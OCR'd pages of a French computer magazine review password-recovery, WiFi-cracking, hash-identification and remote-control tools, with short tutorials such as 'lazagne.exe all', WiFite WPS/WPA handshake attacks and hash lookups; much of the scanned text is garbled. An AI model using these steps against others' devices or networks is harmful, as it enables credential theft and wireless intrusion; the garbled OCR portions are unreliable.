sysadmnin Run
brousewrs Run brous

optional arguments:
=h, ——help
——yersion

show this
laZagne wq

~

ALACTION!

Vous pouvez constater qu'il suffit de
taper lazagne.exe browsers pour récupérer les
mots de passe contenus dans les navigateurs ou
lazagne.exe mails pour les clients POP/IMAP/
SMTP. Pour obtenir absolument tous les mots
de passe contenus dans le PC, il suffit de taper
lazagne.exe all. Magique !



WirelessKeyView > Tous Les coes WiFi

54 WirelessKeyView — O X
Eile Edit View Options Help

AXEHBE DR

Network Name... +  Key Type Key (Hex) Key (Ascii)
U% Eurostars Rey Don... WPA2-PSK 526579646f6e6a61696d653230313800 o
) Home_85 WPA2-PSK 3036373839343135303800

() SFR_DBCO WPA-PSK 6766696e356974616c6561726573626f617469...  gimitiwheemssisseiic

WirelessKeyView récupére toutes les clés de sécurité réseau sans fil (WEP / WPA) stockées
dans votre ordinateur par le service WLAN AutoConfig de Windows. Il vous permet d'enregistrer
facilement toutes les clés dans un fichier texte / html/ xml ou de copier une clé unigue dans

le presse-papiers. Vous pouvez également exparter vos clés sans fil dans un fichier et importer
ces clés dans un autre ordinateur.

Lien: www.nirsoft.net/utils/ wireless_key.html

@ BulletsPassVYiew

File Edt View Options Help

J B WA

Window Tite _ L Password | Field Name | ProcessName | ProcessPath
Iz Filezilla fr345 filezilla.exe F:\Program Files\FileZilla FTP C
& Gmail: Email from Goo... 2343Ancjhd Passwd iexplore.exe F:\Program Files\Internet Expl
ESite Manager 112234Jhq filezilla.exe F:\Program Files\FileZilla FTP ¢

| |

|3 item(s), 1 Selected [IlirSoft Freeware. hitp://iwww.nirsoft.net

Sivous avez des mots de passe sous forme de puces noires et que vous voulez les récupérer,
le programme BulletsPassView constitue la solution idéale. Avant de lancer le programme,
essayez d'ouvrir les logiciels ol il y a des signes de ce genre et faites un scan. Pour FileZilla
par exemple, il suffit d'ouvrir le gestionnaire des sites, cliquer sur le site, puis taper F5 dans
le BulletsPassView pour afficher le mot de passe caché.

Lien : www.nirsoft.net/utils/bullets_password_view.html




RainbowCrack

—> UN COMPROMIS «TEMPS-MEMOIRE»

Au lieu de vérifier si tel mot de passe correspond au hash

de départ, puis de refaire la méme opération jusqu'a trouver

le bon sésame, le principe de rainbow table différe quelque peu.

Il s'agit d'une technique de «compromis temps-mémoire» réduisant
considérablement le temps nécessaire pour casser un mot de passe.
L'inconvenient, c'est qu'il vous faut générer ces fichiers rainbow
tables en amont. En fonction de la complexité du mot

de passe que vous souhaitez retrouver, ces derniers peuvent peser
de 500 Mo a plusieurs To ! IL faut donc de la place sur un disque dur
et beaucoup de temps pour les générer (comptez 3 heures pour 1Go
avec un PC standard). Heureusement, vous pouvez télécharger

ces tables, les acheter et bien sir les garder pour d'autres tentatives
de crack si vous avez eu le courage de les générer vous-méme.

Nous allons donc voir comment générer ces tables et les utiliser
avec RainbowCrack, un logiciel qui en plus d'étre compatible

avec un grand nombre de hash, supporte le multicoeur et
l'accélération graphique (le CUDA de nVidia ou le OpenCL

de ATI/AMD). Pas de jaloux pour cette démonstration puisque
RainbowCrack est disponible sur Windows et Linux.

Lien: http://project-rainbowcrack.com

is 8600

MOTS DE PASSE

*2 ON AIME AUSSI!

ProduKey
> VoS CLES DE LOGICIELS

ProduKey permet de facile-
ment récupérer le numero
de licence de votre Windows,
de votre pack Office ou
d'autres produits Microsoft.
Vous pourrez ainsi réinstaller
vos produits sur un autre PC
sivous en changez.

Lien : www.nirsoft.net/
utils/product_cd_key_
viewer.html

MessenPass
> POUR LES MESSAGERIES

Slvous avez un vieux PC

avec des messageries un peu
«old scholl» que vous voudriez
récuperer, MessenPass
permet de récupérer les mots
de passe de MSN, ICQ, GAIM,
Miranga, AOL, Piggin, AIM,
Trilian, Google Talk, etc.

Lien : www.nirsoft.net/
utils/mspass.html

SniffPass
> LEGER ET TOUT TERRAIN

SniffPass va «sniffer»

votre réseau a larecherche
de mots de passe POP3,
IMAP4, SMTP, FTP et HTTP.
Sivous avez une connexion,
mais gue vous avez perdu
le mot de passe, lancez

le logiciel et SniffPass le
retrouvera pour vous..

Lien : www.nirsoft.net/utils/
password_sniffer.html



Exportation

Sélectionnez le nom du fichier et le fd

Nom de fichier:

N6 name.csv|

Format de données:

0 @ Fichiers séparés par des virgules
10 @ Fichier texte
NﬂTRETu rES (©) Fichier HTML
QLT ©) Archive ZIP
(©) KeePass XML 1.x

WebBrowserPass¥iew

-|0O| x|
File Edt View Options Help
BB o QA
URL / | web Browser | User Name | Password  ~
O https:flogin.live.comflogin.srf Opera login passwd
O https:flogin.yahoo.com Opera nirsoft456764 Hyg66512F
O https: fwww.Facebook,com Opera hgyejdjs@nisoft.net  6326AAAdd
:https: facebook.comflogin.php Chrome myfacebookaccou...,  1234AbcdFg
& https: fwww.google.com Firefox 3.5/4 testtesttest 123456
éhttps {/www.google.comfaccounts/servicelogin  Internet Explorer 7.0 - 8.0  fdweferf 4234234234
@https:ﬁvnm.googla.com.faccounbsfservicebgln Internet Explorer 7.0- 8.0  frwferfer 5564564a
@https:!ﬂww.goode.com!mounts!servicm Internet Explorer 7.0- 8.0 gmailuser748314 8996845906
0https:mmw.google.com!aocountsﬁewb&o... Opera nuhaguyhba 123456789
& https:{jwere.linkedin.com Firefox 3.5/4 hello@testonly.com  bhy6711 |
< | [
[15 Passwords, 1 Selected

| nirSoft Freeware. hitp:/fiwww.nirsoft.net

Z|

WebBrowserPassView — Pour Tous LES NAVIGATEURS

Sivous utilisez plusieurs navigateurs et que vous aimeriez récupérer les mots de passe enregistres
dans votre PC, WebBrowserPassView va faire le sale travail pour vous. Qu'il s'agisse d'Internet
Explorer, de Mozilla Firefox, de Google Chrome, de Safari ou d'Opera, il suffit de télécharger le ZIP
etde lancer le programme en mode administrateur. Tapez simultanément sur Ctrl+F pour faire
une recherche, Ctrl+A pour tout sélectionner et Ctrl+S pour exporter la liste des mots de passe.

Lien : www.nirsoft.net/utils/web_browser_password.html




1[]11101001101011010000101101010101001 10101010110

=

== UN ASPIRATEUR A MOTS
DE PASSE AVEC RECALL

Bienvenue dans recALL
Cet ot les mets de ou cubliés
i ie instantanée et autres.
Veuillez slectionner un mode de récupération
@ Récupération automatique
1 fes ficki stibles et en récuprer les données

) Recupération manuelie
Vous permet de sélectionner manuellement le fichier avec le mot de passe crypté

) Emulation serveur
d d é POP3/SMT

Permet de récupérer

Pour continuer, cliquez sur “Suivant”

01 ) LES TROIS OPTIONS

En suivant notre lien, vous verrez que la
page principale est en polonais mais l'interface est
en francais. Au démarrage, le logiciel vous propose
trois options : la Récupération automatigue qui
va scanner tout votre disque dur a la recherche du
moindre mot de passe, la Récupération manuelle
qui suppase que vous sachiez dans guel dossier
fouiller. La troisitme option permet d'émuler
un serveur POP ou FTP.

599995919901 ALL06-UINTALFH e

| Z71DFIFB 411 4EE3-9D2D-CAZARISSESTA 1
2X24-XOBK- KL UB-CUDT-8E33-HP1Z-L23L-880X.
00359-0EM-£992687-00017

AvastBz A
hero Neso 10
| internet Explorer 3
Windows7 Home Prerr
Microsoft License
Microsoft Internet Exple | Microsaft License

-BWKTT

|6GF-PaHWR-BFFE4-6GFC2-BWTT 1]

Recherche:C:\Progrem Files (86]\Papcarn...librtp_plugin.dil

0 LES DONNEES

Optez pour la premiere option et laissez
le logiciel faire son travail. Cela peut prendre
plusieurs minutes, mais au final, vous aurez
absolument tous les sésames que contient votre
PC ainsi que les codes Wi-Fi et les clés de licence.
Pratique, sivous désirez formater ou migrer sur un
autre ordinateur. En faisant Suivant, vous pourrez
sauvegarder les résultats aux formats CSY, HTML,
TXT, ZIP ou KeePass.

] Recherche de fichiers

| [ Rechercher un dossier r

La recherche du chemin d'acces sélectionne:

¥ Recherche dans e Registre B Bureau
© 4 Biblicthéques

& # Groupe résidentiel
& B benbailleul

% Ordinateur

W Résesu

Dosser : Crdnaseu

- Emulation serveur
Dans e Ecute: e et FTP
\ s parti
prennent en charge ces services.

1. Exécutez voure logiciel de messagerie
2. Ouviez les propriétés du compte
IR ;

127001 etle

5. Recevez du counier ou connectez-vous au serveur de votre compte
5. Les mots de passe apparaissent 3 [ &tspe suivants
7. Restaurez les propriétés enregistrées 3 | étape3

03 ) LA RECUPERATION
MANUELLE

La Récupération manuelle est plus précise

et moins laborieuse, mais il faudra que vous sachiez

ou trouver. Cliquer sur 'icone de dossier au bout

de la barre de recherche et cochez Recherche dans

le registre. Enfin si votre application POP, SMTP

ou FTP n'est pas dans la liste de compatibilité

de recALL, vous pouvez émuler un serveur

de ce type pour récupérer les mots de passe.

0 EMULATION D'UN SERVEUR
Choisissez la troisieme option,

faites Autoriser l'acces lorsque votre pare-feu
se réveillera et suivez les instructions. IL faudra
faire pointer votre logiciel POP vers ['IP 127.0.0.1
et envayer une requéte (un message par exemple).
RecALL vaintercepter le mot de passe a la volée.
Ici aussi, vous pourrez sauvegarder les résultats

dans un fichier.
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Reaver-wps — Stcurité WiFi

Sivous avez une box
récente, vous étes
sans doute équipé d'un

. ape ' B Switching wlan®
dispositif WPS. IL s'agit Waiting for bea : j
v . . Associated with 70:54:D2:D5:98:E5 (ESSID:
d'un petit bouton qui Trying pin 12345670
‘;end]nq EAPOL START request
eived identity request

permet d'autoriser

SPnqu identity response
Sending M2

Sending M4

Sending WSC NA
Pin cracked

WPA PSK

temporairement Received M1 me
l'acces a un appareil +] Received M3 mess
sur votre réseau. Le Received M5 «_mssaqe
but est de se connecter 5
sans mot de passe et sending

avec un risque tres WS "!"'
restreint puisque AP SSID;

l'acces est refermé ;

au bout de quelgues

Nothing done

Attac
[upyrlghl L() 2011, Tactical Network Sclutions, Craig Heffner <cheffner@tacnetsol,com

secondes afin d'éviter les intrus. Cependant, certains appareils disposant de cette sécurite WPS
connaissent une faille permettant un mode «open bar». Notez que Reaver fonctionne de concert avec
Aircrack. Sil'utilisation de ce logiciel vous intéresse, voici un petit tuto en attendant natre article

complet dans un prochain numéro : http://goo.gl/VsCOw8.

Lien: https://goo.gl/QLWXN4

Aircrack-ng est un ensemble
d'outils pour l'audit des réseaux
sans fil intégré a la distribution
Kali Linux. Sous réserve d'avoir
un adaptateur WiFi compatible
avec le DPI, le logiciel va
analyser les paquets de données
transitant entre le point d'accés
et un appareil qui tente ses'y
connecter. Qu'il s'agisse d'une
clé WEP ou WPA, Aircrack-ng va
récupérer la clé en utilisant la
méthode hrute force.

Lien: www.aircrack-ng.org

n interface wlan@

8]
d@bled an monp)



ACCES WIFI

RouterPasswords — Mors o pAssE DE ROUTEURS

RouterPasswords.com est un site qui
répertorie les mots de passe par défauts de
centaines de routeurs différents. Il suffit de
sélectionner la marque et le madele pour
accéder au couple identifiant/mot de passe
ainsi gu'au protocole d'échange de donnée.
Sivous étes un administrateur ou que vous
dépannez souvent vos amis étourdis, vous
aurez donc acces aux réglages a condition
gue les utilisateurs n'aient pas changé les
identifiants. Si vous ne trouvez pas le modéle
exact du routeur que vous recherchez,
essayez un mot de passe a partir d'un modele
alternatif du méme fabricant !

RouterPasswords

Wielcome 1o the intemets larges and most updated defaull router passwords database

Select Router Manufacturer:

Lien: www.routerpasswords.com

: \OIR
R { “ﬂmi‘[u'm

WiFite — Automariser LE PENTEST WIFI ' JANSLES PAGES
SUl\'l\N"fES

Intégré a la distribution Kali Linux, le
moins gue L'on puisse dire, c'est que
WiFite ne fait pas de détails. Bon point :
ilautomatise les tests de pénétration.
Sous réserve d'avoir une carte Wi-Fi
compatible avec l'injection de paquet,
WiFite va tester les réseaux des environs
et tenter de s'y introduire, gu'ils soient
protégés en WEP ou WPA. Plus fort, il

va méme essayer de forcer l'entrée des
box ou routeurs protégés par WPS. Les
puristes diront que c'est un logiciel de . .

« script kiddies » (des pirates amateurs

gui utilisent des outils clés en main, sans

comprendre ce qu'ils font), mais il s'agit ici de vérifier la sécurité de son réseau. Si ce dernier est
perméable a WiFite, c'est que n'importe qui peut y avair accés. Il serait donc temps de blinder la
sécurité !

Lien: https://github.com/derv82/wifite

Youtube txt ETT]
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SANS FIL

ACCES WIFI

WIFITE : TESTEZ VOTRE RESEAU

arated by conmas, or 'all

01 ) LES BASES

Dans un terminal, stoppez le service
network-manager pour éviter les conflits en tapant
service network-manager stop. Faites ensuite
wifite puis Entrée. Le logiciel scanne les réseaux
alentour. Tapez Ctrl+C pour choisir les SSID a atta-
guer. Attention, si vous faites all, il ira frapper a toutes
les portes ! Tapez le numéro de votre propre réseau
(Maj + chiffre du haut du clavier) et validez. WiFite
utilise Aircrack et Reaver pour pénétrer votre réseau
par tous les moyens. Affinez avec les arguments.

35 kevs ast

0 3 ) CAPTURER LEHANDSHAKE
WPA
Lintrusion d'un réseau protégeé par WPA ou WPA2 est
plus compliquée. Il faut capturer le « handshake »,
le moment ot un appareil et un point d'acces Wi-Fi
vont tenter de s'authentifier mutuellement. Dans
le handshake se trouve le mot de passe chiffré. Une
fois capturé, il prend place dans root/hs (regardez
Dossier Personnel). Il faut ensuite le cracker, soit
par brute force, soit par une attague dictionnaire.
Kali Linux dispose de tous les outils nécessaires.

i Tryirg pin

el :
02 ) WEPETWPS
Laissons de coté le WPS, dépassé (la
commande est wifite - wep, si jamais). Coté
WPS, les points d'acces disposent de mesures de
protection anti « brute force » en autorisant la saisie
d'un seul PIN toutes les 60 secondes. Pas de solution
miracle : il faut emprunter une adresse Mac « amie ».
Cette technique étant plus complexe (Google est
votre ami), nous irons au plus simple en tapant
wifite -wps -mac. Comme plus haut, faites Ctrl+C
pour choisir les SSID a attaquer.

[+] guitting

rostgkaLir )

0 ) ATTAQUER LE HANDSHAKE
Nous pouvons aussi demander a Aicrack
d'essayer de cracker le mot de passe contenu
dans le handskake, en tapant simplement wifite
-wpa -aircrack. Ici, 'attaque a échoué. Méme sile
handshake a été capturé, Aircrack n'a pas réussi a
découvrir le mot de passe « enclair ». Il faut dire que
notre point d'acces est bien protégé ! Rien ne vous
empéche d'utiliser a nouveau le handshake avec un
meilleur dictionnaire ou avec un logiciel de brute
force comme John The Ripper...



L'INFORMATIQUE FACILE
POUR:TOUS"!

N
a%‘ Q::\\\

MARCHAN
DE JOURNAUX



h 5 101011110101010110101010101010100010111€

PRENEZ
LECONTROLE'

Pas besoin d'étre
un expert pour
prendre le contrdle
d’un ordinateur
adistance!
Voici notre petite
sélection... £

Chrome Remote Desktop — La rrise be conTROLE vERsION GooGLE

Accés a distance  Assistance a distance

Configurer l'accés a distance

Configurez cet ordinateur pour qu'il puisse &tre accessible & distance depuis un autre appareil. Pour

commencer, cliquez sur le bouton de téléchargement.
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NoMachine > MuLTi-PLATEFORME, MAXI EFFICACITE

Bienvenue dans NoMachine

Insérez P'URL du service ou [P de ['erdinateu, puis appuyez sur Enter
R—

| @ nechercnerun e

: bceburean
|| Howeay 2 0w ) dver
)
| c/7192.168.8.142
Cliuer s Noivesis ou Edibe pour personnaliser une
connexion

7] M plus afficher ce message

Q TeamViewer

Control your computer the easy way
Veuillez entrer I'ID de votre partenaire
ID TeamViewer pour prendre le controle a distance de

son ordinateur.
&> Contréle a distance

Connecter Ordinateurs et contacts Fichiers

TeamViewer URNABLE

Logiciel le plus connu en ce qui concerne le partage d'écran ou la prise de controle a distance,
TeamViewer n'a plus besoin de faire ses preuves. A linverse d' Ammyy Admin, l'installation de
TeamViewer est nécessaire sur tous les appareils que vous souhaitez utiliser. Vous pouvez également
profiter des applis mobiles (sur Android et i0S) pour controler votre ordinateur a partir de votre
smartphone.

Lien : https://www.teamviewer.com/fr/




NG 101011110101010110101010101010100010111

VNC —> FIABLE ET PERFORMANT

Accéder a vos ordinateurs distants

l

Téléchargez VNC sur les ordinateurs distants pour
assurer un acces a distance rapide et sécurisé,

Sauvegarde et synchronisation

Quvrez une session sur tous vos terminaux pour
partager votre carnet d'adresses partout o vous allez.

Ammyy Admin

CONTROLE SANS INSTALLATION

Ammyy Admin existe depuis de

nombreuses années, et sasimplicité en | Il

Découverte automatique

Ouvrir une session v

Ouvrez une session RealVNC pour découvrir
automatiquement les ordinateurs VNC Connect et
€établir la connexion sans reconfiguration réseau.

Mémoriser les mots de passe de
fagon sécurisée

Ia protection de VNC Viewer avec un mot de passe maitre.

Logiciel de contr¢
a distance pour parte
Bureau a distanc

[B) Ammyy Admin v39 - Free - X

Free license (for home use only)

fait un outil idéal pour aider quelqu'un

Client. Attendre |a session I Opérateur. Créer la session

a distance. Aucune installation n'est (=3 ) @ £S5 | 1D/POen

necessaire: apres le téléchargement,
vous lancez 'application, et c'est grace
a unidentifiant que vous pourrez lier
votre ordinateur a celui auguel vous
voulez accéder a distance.

[ | e

Lien : hitp://www.ammyy.com/fr/




AnyDesk —> PortasLE eT REACTIF

CONTROLE A DISTANCE

e

Comme avec Ammyy Admin, c'est grace a un identifiant que vous pourrez lier les deux ordinateurs.

La prise en main est simple et rapide, et AnyDesk présente l'avantage d'étre un outil
portable : vous pouvez l'utiliser a partir d'une cle USB, et ainsi l'avoir toujours avec

"R

vous prét a fonctionner. Il propose également des fonctionnalités intéressantes, | NOTRETUTO
comme l'ajustement automatique de la résolution d'écran.

Lien: https://anydesk.com/fr

‘ DANSLES PAGES
SUIVANTES

9> anyDesk [_] New Connection +

This Desk

[ 527532430

um Set password for
unattended access..

AnyDesk Status

Your AnyDesk version is
up-to-date.

demo-00

the remote desk you would like to

D)

—_—

demo-01@ad
PC-DEMO-01

demo-08

M B demo-02@ad
Al rc-oEmO-02

demo-05

17 demo-00@ad
548395604
17 demo-08@ad
788154317
77 demo-05@ad
986317659
1 dema-01@ad
288726836
77 demo-02@ad
295799586

demo-04@ad




UltraVNC

~—> UN LOGICIEL EN FRANCAIS !

[ host:display or host:port )

(OMEDIUM (128 - 256Kbit/s) - 256 Colors
) MODEM
QsLow

[[]View Orly  [] Auto Scaling

[Auto select best settings)
[>2Mbit/s) - Experimental
(> 1Mbit/s) - Max Colors

(19 - 128Kbit/s] - 64 Colars
(< 19kKbit/s) - 8 Colors

[[] Use DSMPlugin |No Plugin detected...
[ Proxy/Repeater |

[¥] Save connection settings as default

»

0 ) LANCER ANYDESK

Aprés avoir télécharge AnyDesk, double

cliguez sur le fichier pour le lancer. AnyDesk

ne nécessite pas d'installation, et est portable:

vous pouvez également copier le fichier
exécutable sur une clé USB, pour pouvoir

le lancer sur n'importe quel ordinateur sans
avoir besoin de le télécharger a chaque fois.

GONTRﬁLEZ VOTRE ORDINATEUR
A DISTANCE AVEC ANYDESK

0 2 y ACCEDER A UN
ORDINATEUR A DISTANCE
Aprés avoir lancé AnyDesk sur votre ordinateur,
vous pourrez y accéder grace a l'identifiant
affiché en haut a gauche. Lancez AnyDesk
sur n'importe quel autre PC, entrez l'identifiant
dans le champ sous Autre poste de travail,
etcliquez sur Se connecter.

Ty R T——
) r >

Ce poste de travail @

Autre poste de travail

Veuillez entrez I'adresse AnyDesk d'un autre poste de travail.

472 985 862
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souhaite se connecter 3

Gagato
votre ordinateur,

age
IEH Demande de session reque

Permissions
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0 3 ) AUTORISER

LA CONNEXION
Lorsgue vous souhaitez accéder a un ordinateur
distant, ce dernier recoit un message
permettant d'autoriser ou de refuser la
connexion. Il est également possible de choisir
les permissions accordées pour la durée de
la session. Sur lordinateur distant, la personne
le contrélant devra cliquer sur Accepter.

c MEe DEw09 L

Actions

¥ Demander des droits élargis

- Ctrl+ Alt +

B Réaliser une capture d'écran |

B Redémaner l'ordinateur

B Configurer un tunnel TCP

s e 3 gende artiusisnne

0"' > Au cours d'une session, vous avez

la possibilité d'inverser les accés : l'ordinateur
contrélé devient l'ordinateur en charge.

Pour cela, cliquez sur le petit éclair dans la
barre d'icones en haut, puis sur Inverser la
direction d'acces. Attendez quelques secondes
['établissement de la connexion.

Parameétres Enregistrement

= Interface utilisateur

& it Enregistrement

[ Lancer I'enregistrement dés qu'une session commence.
[ Enregistrer les sessions entrantes

w= Sphére privée

[ Affichage [ Enregistrer les sessions sortantes

o) Audio

»* Connexion Chemin

s @ Définir automatiquement le chemin
-] [nmq\sne&am O Definir chemin

& Imprimante

0 5 ) ENREGISTRER

UNE SESSION
Pour garder une trace des actions effectuées,
il est possible d'enregistrer tout ce qui se passe
pendant la prise de contréle. Pour cela cliquez
sur l'icéne du menu, en haut a droite,
puis sur Paramétres > Enregistrement.
Cochez Lancez l'enregistrement dés
qu'une session commence.

E Souhaitez-vous conserver AnyDesk ?

Merci d'avoir évalué AnyDesk. Nous espérons que vous en
avez été satisfait et que vous continuerez a utiliser AnyDesk.

Souhaitez-vous installer AnyDesk maintenant ?

0 SUPPRIMER ANYDESK
Sivotre besoin était ponctuel,

et gque vous ne souhaitez pas conserver

AnyDesk sur votre ordinateur, Le logiciel

propose de lui-méme de se supprimer

et d'effacer ses traces. Cliguez sur la croix

en haut a droite pour fermer AnyDesk,

puis sur Nen dans la fenétre qui apparait.
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FindMyHash — Tour sur Ls "HasH"

Le script Python FindMyHash permet de savoir a quel type de

hash vous avez affaire. Pour les pirates, il suffit d'intercepter un E Find My Hash

hash dans un site Web ou une base de données pour obtenir un
mot de passe valide presque a chague coup ! Pour vous, il s'agit,
hien s(ir, de vérifier que votre mot de passe ne figure pas dans ces
bases pour éviter les surprises... En dehors du MD5, tres répandu,
FindMyHash permet de trouver des hash CISCO7, LM, MYSQL,
NTLM, RMDI1GO, SHAT, SHA224, SHA256, SHA384, SHAS12, etc.

Online Hash Fi

89338314 11bb545c65 17d68biSadba

| MD5 -]

Difficulté :Q ;’; 3 Lien: http://code.google.com/p/findmyhash

CrackStation

— UNE BASE DE DONNEES GIGANTESQUE

Avant de vous lancer dans des recherches
compliguées lorsgue vous voulez trouver
un mot de passe a partir d'un hash, pourguoi

News: I'm crowdfunding a better web forum. Please contribute if you c:

Free Password Hash Cracker

ne pas essayer CrackStation 7 Ce site permet
de retrouver le mot de passe correspondant

a un hash en consultant des bases de données
gigantesques ou sont stockés des hash de tous
types avec leur equivalent «en clair». Un mot
de passe simple comme azerty été trouvé en
guelques secondes. Larsque vous avez un hash
entre les mains, la consultation de ce genre

de site doit étre l'étape numéro 1.

Lien: https://crackstation.net

Hash_ID

UNE BONNE ALTERNATIVE

SiHashtag ou FindMyHash ne vous ont

pas séduit et que vous cherchez un autre
logiciel de ce type pour comparer, voici
Hash-identifier, ou Hash_ID pour les intimes.
Comme les concurrents, il va analyser les
suites alphanumeériques pour identifier a quel
type de hash vous avez affaire. Compatible
avec plus de 50 sortes de hash (et leurs
variantes), Hash_|D vous fera gagner un
temps précieux lorsgu'il faudra lancer une
attagque brute force ou dictionnaire avec
John The Ripper ou Hashcat (voir les pages
précédentes)...

Lien: https://code.google.com/
p/hash-identifier
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Hashtag —> LE PLUS EFFICACE NOTRETUTO
ul\NSLESPESE
Pour cibler C:\Python2?>python hashtag.py —sh df6h9£bibefdhh7b: SUNANT
. 79a943438e9d3d85ebfc2ccfPePeccd?346026cBb6876eBeBl155F
directement la Ga

recherche du mot

Hash: df6h?fbh15cfdbh?527he5abBabe3?f3%2e572c8ddh?43fhc?7a943

depassesurun ccd?346826cBh6876eBeB1556fe56F135582c¢B5f bdbbh585d46755a
type de‘hlash précis, [%] Keccak-512
nous utilisons [=*] Skein-1824¢512>

. [#] Skein—-512
le script Python [*] SHA512 — Hashcat Mode 1700
HaShTag_Cedemier [#*] sha512(5pa $salt) — Hashcat Mode 1710

s #] sha512¢(%salt.%pass) — Hashcat Mode 17280

varecaonnaitre 3 SHA-512 CHMACY
v i y «] Whirlpool — Hashcat Mode 6108
len“”EMtedun Whirlpool<HMAC>
hash pour vous sha512{unicode{(5pa .%salt) — Hashcat Mode 1738

e : «] sha512{(%salt.unicode($pass>»> — Hashcat Mode 17480
désigner son type : [»] HMAC-SHAS12 (key = $pass> — Hashcat Mode 1758
MD5, SHA, MySQL,

etc. Parfois HashTag
ne trouvera pas
préciséement le type utilisé, mais vous donnera un panel de possihilité (car certains hash sont trés

proches au niveau de leurs structures). C'est largement suffisant pour gagner du temps et éliminer une
bonne centaine de fonctions...

Lien: http://goo.gl/vQx8E9

C:\Python27?>_

HashKiller HASHKILLER BTk T

EN SAVOIR PLUS MD5 /'SHAI'/ NTLM ONLINE/DATABA! & ? L_D; “"“‘ g

MHome | Forums | Decrypter!Cracker | WPA Crack e Contest || Tools | HashcatGUl | Downloads

Last 50 successful MDS decryplions / founds

Vous voulez en savoir plus e e e
sur les hash ? HashKiller ! ke sy : < osepans 10
est un site qui contient s . hes

une mine d'informations

et d'outils sur ce sujet : des

logiciels, des décrypteurs,

des dictionnaires de mots

et des tutos. Le site propose

aussi parfois des concours

et si vous ne savez pas par

oll commencer, Vous pouvez

aller sur le forum pour

poser vos questions.

Lien : www.hashkiller.co.uk
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HASH

TROUVEZ LE BON HASH TUT@

AVEC HASHTAG.PY

Notre but est de connaitre le type d'un hash pour

gu'il soit plus rapide avec Hashcat ou John The

Ripper de trouver le mot de passe correspondant. En
effet ce genre de logiciels ne peut cracker différents

types de hash en méme temps. En sachant «oll
regarder», vous gagnerez un temps fou!

', ‘mdS(Spass.Ssalt)': '10*, ‘Joomla‘: *11‘, *mas(Ssalc.$pa

01) INSTALLATION

Avant de commencer, il va falloir
installer le langage Python sur votre machine.
Preférez la version 2.7 et ne changez pas le
répertaire d'installation par défaut. Téléchargez
ensuite HashTag.py en suivant notre lien. En bas
de la page, faites un clic droit dans le lien et faites
Enregistrer la cible du lien sous. Placez-le
ensuite dans le répertoire C:\Python27. Avec
tout ¢ca, vous étes prét ! Faites Maj + clic droit
dans le répertoire C:\Python27 et choisissez
Ouvrir une fenétre de commandes ici. Il
faudra alors taper python hashtag.py -sh
[votre hash].

BN C:\Windows\system32\cmd.exe

C:\Python27>python hashtag.py —sh 721a%}
Hash: 721a%b52hfceacc583cB56e3bh9h?3cfa
MDS - Hashcat Mode @
TLM }

Haval-128
MD2

RipeMD-128
Tiger—-128
Snefru-128
MDS CHMAC>
MD4<{HMAC>
Haval-128<(HMAC>

RipeMD-128 CHMAC)>

1 Tiger—128<CHMAC)
Snefru-128CHMAC)
MD2<HMAC>
MD5<{ZipMonster>
MD5 (HMAC{Wordpress)>
Skein—-256¢128)

0 LA RECHERCHE

Lors de notre premier essai, nous
n'avons pas eu de chance, car le hash choisi
pouvait potentiellement étre d'une vingtaine de
types différents. Dans ce cas, il vaudra mieux
commencer la recherche par les plus fréquents.
Notre deuxieme essai a été plus concluant
puisqu'en excluant les variantes, HashTag nous
a permis de réduire le champ de recherche a
4 types de hash différents ! Nous savonsici
gue cette suite alphanumeérigue a de grandes
chances d'étre un SHA-512.
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BIDOUILLEZ
WINDOWS .

Ilvous manque un petit quelque chose dans
Windows ? Personne n'est parfait et surtout pas I'0S
de Microsoft mais on peut toujours utiliser

des «tweak» pour customiser son expérience...

CustomizerGod Folder Market

~ LE DIEU DES ICONES

POUR DES DOSSIERS HAUT EN COULEUR

A Uheure du travail collaboratif, les dossiers
peuvent se multiplier avitesse grand V et

il peut vite devenir compliqué de s'y retrouver.
Folder Market vous permet tout simplement
de “coloriser” vos dassiers pour les différencier
plus facilement. Une trouvaille absolument
fantastique pour votre productivitée. Il est

par ailleurs possible de fixer un niveau

de priorité a chaque dossier, comme haute-
priarité, basse-priorité, privé ou encore
important. La version payante vous autorise
méme a changer les icones des dossiers,

pour un classement encore plus efficace.

Lien : http://foldermarker.com/en/
folder-marker-free/

OFoidr — | & LowProriy
[ | B e
= '@ Half-Done Work
O Folder leon: B DoneWork
Cobrs Main  Userlcons B Work Files

i & Private Files
4 Important Files
. . & Temp Files

o Colors. > B Red

‘i Restore Defauit B Green
More conz.. B e

T white

B Gray

B siack




Rainmeter LA JoiE bE LA cusTOMISATION I

La fonction premiere de Rainmeter est on ne peut plus

el simple : afficher des modules divers d'informations sur

votre bureau, pour suivre par exemple la place disponible

sur votre disque dur, ou encore votre vitesse de connexion

Internet. Ce qui rend Rainmeter unigue, c'est sa fagon de le

faire. Ces petits modules sont modélisés sous forme d'objets,
et autant dire que les skins utilisés sont tres, trés classes !

1 Les montres notamment, utilisées pour remplacer ['horloge

classique, sont a tomber par terre. De quoi transformer

un bureau tristounet en joyaux de la couronne.

Lien: www.rainmeter.net

Tweak-10 — Pour un winbows

Tweak Now Power Pack

UNE ROLLS AUX ALLURES DE 2CV 10 AU TOP DE SA FORME

Au premier Tweak-10 est comme son nom Uindique réservé
abord, Tweak uniguement au dernier systeme d'exploitation en
Now Power date de Microsoft. Son action est principalement
Pack ne donne portée sur l'optimisation de votre PC. Pour le
pas vraiment garder en forme, le soft embargue un nettoyeur
envie, avec de systeme et de registre, un optimiseur de
son austérité meémoire, un défragmenteur ou encore un
rappelant les moniteur intégré pour avoir un acces instantané
pires logiciels et permanent aux performances de votre
des années bécane. Bonus appréciable : la possibilité
2000. Et puis en cherchant un peu, on se de jouer avec le design de Winl0, au cas ol
rend vite & l'évidence : ce logiciel gratuit est certaines choses vous déplairaient.
un petit bijou de personnalisation, avec un Lien ; www.totalidea.com/products/tweak-10
nombre ahurissant de fonctionnalités : fixer S—
un redémarrage automatique quutigien,
optimiser l'utilisation de la RAM, créer entre s
un et quatre bureaux virtuels pour switcher
selon vos envies et l'activité du moment
(gaming ou working par exemple), sans
oublier un acces a plus d'une centaine de
parametres cachés Windows. Un must-have.

Lien: www.tweaknow.com/PowerPack.
php#close

el B
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Taskbar Tweaker > Lt roi DE LA BARRE DES TACHES

Vous cherchez a remodeler en profondeur votre barre

des taches ? Taskbar Tweaker est le maitre en la matiére.

Traduit majoritairement en frangais, ce logiciel permet :

par exemple de modifier le comportement des éléments présents dans la barre des taches
lorsque L'on cligue dessus ou lorsqu'on les survole. IL est surtout possible de réorganiser L'ordre
des applications pour une efficacité optimale. D'autres fonctionnalités viennent compléter U'offre
de ce Tweaker, comme le contrdle du volume avec la molette directement via la barre de taches.

Lien : https://frammichael.com/7-taskbar-tweaker

